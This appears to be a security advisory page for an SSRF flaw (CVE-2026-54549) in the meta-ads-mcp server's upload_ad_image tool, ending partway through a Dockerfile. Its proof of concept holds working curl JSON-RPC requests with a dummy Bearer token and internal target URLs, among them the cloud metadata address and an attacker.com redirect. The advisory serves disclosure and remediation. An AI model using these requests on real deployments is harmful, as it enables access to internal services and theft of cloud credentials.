返回列表

meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch

CVE-2026-54549RCE2026-07-17

漏洞描述

## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch ### Summary The `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`—and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High). ### Details **Source** `meta_ads_mcp/core/ads.py`, line 1316–1322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network. ```python # meta_ads_mcp/core/ads.py 1316: @mcp_server.tool() 1318: async def upload_ad_image( 1322: image_url: Optional[str] = None, ``` **Propagation** `meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation. ```python # meta_ads_mcp/core/ads.py 1389: image_bytes = await try_multiple_download_methods(image_url) ``` **Sinks** `meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation: ```python # meta_ads_mcp/core/utils.py 166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client: 168: response = await client.get(url, headers=headers) 214: async with httpx.AsyncClient(follow_redirects=True) as client: 215: response = await client.get(url, headers=headers, timeout=30.0) 224: async with httpx.AsyncClient(follow_redirects=True) as client: 228: response = await client.get(url, timeout=30.0) ``` **Authorization bypass** `meta_ads_mcp/core/http_auth_integration.py`, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification. **Absence of sanitization** A search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path. **Transport exposure** `meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments. ### PoC **Environment setup** ```bash # Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py) docker build -f vuln-001/Dockerfile \ -t meta-ads-ssrf-poc \ reports/pypiAi_615_pipeboard-co__meta-ads-mcp/ docker run --rm meta-ads-ssrf-poc # Exit code 0 = SSRF confirmed ``` **Manual reproduction (two terminals)** ```bash # Terminal 1 — SSRF capture listener on port 9009 python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): print("SSRF GET", self.path, flush=True) body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9" self.send_response(200) self.send_header("Content-Type", "image/jpeg") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) HTTPServer(("127.0.0.1", 9009), H).serve_forever() PY # Terminal 2 — start the vulnerable MCP server META_APP_ID=dummy META_APP_SECRET=dummy \ python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080 ``` **Exploit request** ```bash # 1. Initialize MCP session curl -sS -X POST http://127.0.0.1:8080/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -H "Authorization: Bearer dummy-token" \ -d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}' # 2. Send SSRF payload — image_url points to internal listener curl -sS -X POST http://127.0.0.1:8080/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -H "Authorization: Bearer dummy-token" \ -d '{ "jsonrpc": "2.0", "method": "tools/call", "id": 1, "params": { "name": "upload_ad_image", "arguments": { "account_id": "act_123456789", "image_url": "http://127.0.0.1:9009/poc.jpg" } } }' ``` **Expected result** Terminal 1 prints: ``` SSRF GET /poc.jpg ``` The `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation. **Confirmed runtime evidence (from Docker run)** ``` [SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0' [PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009 -> GET /poc.jpg | User-Agent: 'curl/8.4.0' ``` **Alternative targets** Replace `http://127.0.0.1:9009/poc.jpg` with: - `http://169.254.169.254/latest/meta-data/` — cloud instance metadata (AWS/GCP/Azure) - `http://10.0.0.1/` — RFC 1918 internal network services - `http://attacker.com/redirect` — a public URL that redirects to an internal target (exploitable via `follow_redirects=True`) ### Impact This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to: - **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host - **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers - **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets - **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop The SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption). Operators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim # Install system build dependencies RUN apt-get update && \ apt-get install -y --no-install-recommends gcc && \ rm -rf /var/lib/apt/lists/* WORKDIR /app #

查看原文